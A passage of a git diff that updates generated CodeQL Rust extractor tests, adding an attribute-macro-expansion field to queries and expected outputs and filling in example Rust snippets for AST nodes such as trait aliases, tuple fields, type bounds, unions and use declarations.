hasWhereClause + TraitAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasGenericParamList, + string hasName, string hasTypeBoundList, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -22,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "hasName:", - hasName, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasTypeBoundList:", + hasTypeBoundList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..6a0c43cfc87a --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from TraitAlias x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected index e69de29bb2d1..e0aae353801d 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:11:7:13 | Foo | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected index e69de29bb2d1..797921bf4ddc 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:17:7:25 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs index 708e0d99e58f..6fa75a8a08d4 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_trait_alias() -> () { - // A TraitAlias. For example: - todo!() + // A trait alias. + // + // For example: + trait Foo = Bar + Baz; } diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected index e69de29bb2d1..214ca5597ec6 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected index e69de29bb2d1..fb0c80429696 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | gen_try_expr.rs:7:13:7:17 | foo(...) | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs index 083dffd3c35e..6444f38b7d71 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs +++ b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_try_expr() -> () { - // A TryExpr. For example: - todo!() + // A try expression using the `?` operator. + // + // For example: + let x = foo()?; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected index e69de29bb2d1..4c658836ad93 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | +| gen_tuple_field.rs:7:19:7:24 | TupleField | getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected index e69de29bb2d1..31c4849e7a31 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | gen_tuple_field.rs:7:14:7:16 | i32 | +| gen_tuple_field.rs:7:19:7:24 | TupleField | gen_tuple_field.rs:7:19:7:24 | String | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs index 245862c35d7d..96fe3582e402 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs +++ b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field() -> () { - // A TupleField. For example: - todo!() + // A field in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^ ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected index e69de29bb2d1..5101ab7bf197 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected @@ -0,0 +1 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected index e69de29bb2d1..77b15f1aa42f 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 0 | gen_tuple_field_list.rs:7:14:7:16 | TupleField | +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 1 | gen_tuple_field_list.rs:7:19:7:24 | TupleField | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs index 5f6858c12ab9..26f955c4add1 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field_list() -> () { - // A TupleFieldList. For example: - todo!() + // A list of fields in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected index a35fda175817..f3dcaadb7a2b 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected @@ -1 +1,2 @@ | gen_tuple_type_repr.rs:3:30:3:31 | TupleTypeRepr | getNumberOfFields: | 0 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected index e69de29bb2d1..c4d5db977c54 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 0 | gen_tuple_type_repr.rs:7:13:7:15 | i32 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 1 | gen_tuple_type_repr.rs:7:18:7:23 | String | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs index 69dbf686aff8..72418bebd402 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_type_repr() -> () { - // A TupleTypeRepr. For example: - todo!() + // A tuple type. + // + // For example: + let t: (i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected index 19ccc9349b1f..8fbbae07cc3e 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.expected @@ -1,2 +1,2 @@ -| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | -| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_type_alias.rs:4:5:5:26 | type Point | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | yes | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | +| gen_type_alias.rs:8:9:8:20 | type Output | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | isDefault: | no | hasName: | yes | hasTypeRepr: | no | hasTypeBoundList: | no | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql index 16e92ed7e023..dd8183b6d410 100644 --- a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias.ql @@ -3,9 +3,10 @@ import codeql.rust.elements import TestUtils from - TypeAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string isDefault, string hasName, string hasTypeRepr, - string hasTypeBoundList, string hasVisibility, string hasWhereClause + TypeAlias x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasGenericParamList, + string isDefault, string hasName, string hasTypeRepr, string hasTypeBoundList, + string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +16,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.isDefault() then isDefault = "yes" else isDefault = "no") and @@ -24,6 +30,7 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "isDefault:", - isDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, "hasTypeBoundList:", - hasTypeBoundList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "isDefault:", isDefault, "hasName:", hasName, + "hasTypeRepr:", hasTypeRepr, "hasTypeBoundList:", hasTypeBoundList, "hasVisibility:", + hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..62be0d7b8291 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/TypeAlias/TypeAlias_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from TypeAlias x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected index e69de29bb2d1..d81b48448fa4 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected index e69de29bb2d1..f1bb3e460e18 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | gen_type_arg.rs:7:11:7:13 | u32 | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs index f429e9d21870..0e51807e06c2 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_arg() -> () { - // A TypeArg. For example: - todo!() + // A type argument in a generic argument list. + // + // For example: + Foo:: + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected index e69de29bb2d1..40e38f919ceb 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | isAsync: | no | isConst: | no | hasLifetime: | no | hasTypeRepr: | yes | hasUseBoundGenericArgs: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected index e69de29bb2d1..7d9cf96f2ad2 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | gen_type_bound.rs:7:15:7:19 | Debug | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs index a5ee2af22368..9e182cbeefcc 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound() -> () { - // A TypeBound. For example: - todo!() + // A type bound in a trait or generic parameter. + // + // For example: + fn foo(t: T) {} + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected index e69de29bb2d1..3044718de476 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected @@ -0,0 +1 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | getNumberOfBounds: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected index e69de29bb2d1..7106e5ae6649 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected @@ -0,0 +1,2 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 0 | gen_type_bound_list.rs:7:15:7:19 | TypeBound | +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 1 | gen_type_bound_list.rs:7:23:7:27 | TypeBound | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs index aa2c2992225c..8ecff33eb703 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound_list() -> () { - // A TypeBoundList. For example: - todo!() + // A list of type bounds. + // + // For example: + fn foo(t: T) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected index e69de29bb2d1..1ba76dc60d35 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | getNumberOfAttrs: | 0 | hasDefaultType: | no | hasName: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected index e69de29bb2d1..a51942c95c28 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | gen_type_param.rs:7:12:7:12 | T | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs index 6d5dbf5dd39b..3028b3c81362 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs +++ b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_param() -> () { - // A TypeParam. For example: - todo!() + // A type parameter in a generic parameter list. + // + // For example: + fn foo(t: T) {} + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.expected b/rust/ql/test/extractor-tests/generated/Union/Union.expected index e69de29bb2d1..bc0b9974b409 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasStructFieldList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.ql b/rust/ql/test/extractor-tests/generated/Union/Union.ql index a514017b7345..81d3ffb3adf9 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union.ql +++ b/rust/ql/test/extractor-tests/generated/Union/Union.ql @@ -3,9 +3,9 @@ import codeql.rust.elements import TestUtils from - Union x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasGenericParamList, string hasName, string hasStructFieldList, string hasVisibility, - string hasWhereClause + Union x, string hasExtendedCanonicalPath, string hasCrateOrigin, + string hasAttributeMacroExpansion, int getNumberOfAttrs, string hasGenericParamList, + string hasName, string hasStructFieldList, string hasVisibility, string hasWhereClause where toBeTested(x) and not x.isUnknown() and @@ -15,6 +15,11 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasGenericParamList() then hasGenericParamList = "yes" else hasGenericParamList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and @@ -22,6 +27,6 @@ where (if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no") and if x.hasWhereClause() then hasWhereClause = "yes" else hasWhereClause = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasGenericParamList:", hasGenericParamList, "hasName:", - hasName, "hasStructFieldList:", hasStructFieldList, "hasVisibility:", hasVisibility, - "hasWhereClause:", hasWhereClause + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasGenericParamList:", hasGenericParamList, "hasName:", hasName, "hasStructFieldList:", + hasStructFieldList, "hasVisibility:", hasVisibility, "hasWhereClause:", hasWhereClause diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..3edc4b71aa39 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Union x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected index e69de29bb2d1..02b0d8ebc8cb 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:11:7:11 | U | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected index e69de29bb2d1..3613a0fcb381 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:13:7:32 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs index ef74acf7f60c..5b148d975e55 100644 --- a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs +++ b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_union() -> () { - // A Union. For example: - todo!() + // A union declaration. + // + // For example: + union U { f1: u32, f2: f32 } } diff --git a/rust/ql/test/extractor-tests/generated/Use/Use.expected b/rust/ql/test/extractor-tests/generated/Use/Use.expected index e69de29bb2d1..e016b067371d 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasUseTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Use/Use.ql b/rust/ql/test/extractor-tests/generated/Use/Use.ql index b88b3a693322..9dbf23d628a4 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use.ql +++ b/rust/ql/test/extractor-tests/generated/Use/Use.ql @@ -3,8 +3,8 @@ import codeql.rust.elements import TestUtils from - Use x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasUseTree, string hasVisibility + Use x, string hasExtendedCanonicalPath, string hasCrateOrigin, string hasAttributeMacroExpansion, + int getNumberOfAttrs, string hasUseTree, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -14,8 +14,14 @@ where else hasExtendedCanonicalPath = "no" ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and + ( + if x.hasAttributeMacroExpansion() + then hasAttributeMacroExpansion = "yes" + else hasAttributeMacroExpansion = "no" + ) and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasUseTree() then hasUseTree = "yes" else hasUseTree = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasUseTree:", hasUseTree, "hasVisibility:", hasVisibility + "hasAttributeMacroExpansion:", hasAttributeMacroExpansion, "getNumberOfAttrs:", getNumberOfAttrs, + "hasUseTree:", hasUseTree, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.expected b/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.expected new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql b/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql new file mode 100644 index 000000000000..1b83be279867 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/Use/Use_getAttributeMacroExpansion.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from Use x +where toBeTested(x) and not x.isUnknown() +select x, x.getAttributeMacroExpansion() diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected index 